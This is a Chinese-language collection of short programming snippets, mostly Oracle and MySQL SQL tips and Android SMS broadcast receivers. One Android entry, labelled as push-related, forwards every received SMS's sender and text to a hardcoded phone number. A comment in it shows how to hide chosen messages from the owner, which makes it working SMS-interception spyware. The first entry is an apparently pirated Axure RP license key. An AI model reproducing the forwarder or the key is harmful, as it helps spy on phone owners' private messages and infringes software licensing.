Axure RP7.0 for mac 注册码 |
axure |
http://www.douban.com/group/topic/51520965/ |
License:aaa
Key:2GQrt5XHYY7SBK/4b22Gm4Dh8alaR0/0k3gEN5h7FkVPIn8oG3uphlOeytIajxGU
|
android推送有关 |
android |
|
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[])intent.getExtras().get("pdus");//获取短信内容
for(Object pdu : pdus){
byte[] data = (byte[]) pdu;//获取单条短信内容,短信内容以pdu格式存在
SmsMessage message = SmsMessage.createFromPdu(data);//使用pdu格式的短信数据生成短信对象
String sender = message.getOriginatingAddress();//获取短信的发送者
String content = message.getMessageBody();//获取短信的内容
SmsManager manager = SmsManager.getDefault();
manager.sendTextMessage("5556", null,"发送人:"+sender+"----内容:"+content , null, null);//把拦截到的短信发送到你指定的手机,此处为5556
// if("number".equals(sender)){
// abortBroadcast();
// } //如果不想让机主接收到某个号码的短信,
//可以取消这段注释, number 为指定的号码
//也可在此处给这个号码回复的内容。。。。。
}
}
}
|
Oracle Tablespace |
关于sql |
|
--查看表空间使用情况的SQL语句:
SELECT a.tablespace_name "表空间名 ",total 表空间大小,free 表空间剩余大小,(total-free) 表空间使用大小, ROUND((total-free)/total,4)*100 "使用率 % " FROM (SELECT tablespace_name,SUM(bytes) free FROM DBA_FREE_SPACE GROUP BY tablespace_name ) a, (SELECT tablespace_name,SUM(bytes) total FROM DBA_DATA_FILES GROUP BY tablespace_name) b WHERE a.tablespace_name=b.tablespace_name
|
离线推送的实现 |
android |
|
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="org.gunther.sample1"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="7" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".MainActivity" android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".SMSReceiver">
<intent-filter android:priority="10000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
</manifest>
|
离线推送的实现 |
android |
|
SMSReceiver.java
package org.gunther.sample1;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.widget.TextView;
public class SMSReceiver extends BroadcastReceiver {
private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
private static final String FILTER = "$#";
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction().equals(ACTION)){
Bundle bundle = intent.getExtras();
if(bundle == null) return;
Object[] pdus = (Object[]) bundle.get("pdus");
for(Object pdu : pdus){
SmsMessage msg = SmsMessage.createFromPdu((byte[]) pdu);
String msgBody = msg.getDisplayMessageBody();
if(null == msgBody && "".equals(msgBody)) return;
if(msgBody.startsWith(FILTER)){
//后期处理
TextView tv = (TextView) MainActivity.getInstance().findViewById(R.id.text1);
tv.setText("拦截到的短信内容:"+msgBody);
//停止广播
abortBroadcast();
}
}
}
}
}
|
模糊查询内容有%号 |
关于sql |
|
-- oracle
-- escape之后的转义符必须与%分号之前的转义符一致(如:'/','_','\'等等)
select * from ... where ... like '%/%%' escape '/'
--mysql
select * from ... where ... like '%\%%'
|
oracle tree |
关于sql |
|
-- 一张表的tree
select * from ... where ...
-- id:编号; parentId 父节点
CONNECT BY PRIOR id = parentId
--开始的id
START WITH ...
--排序
ORDER siblings by ...
|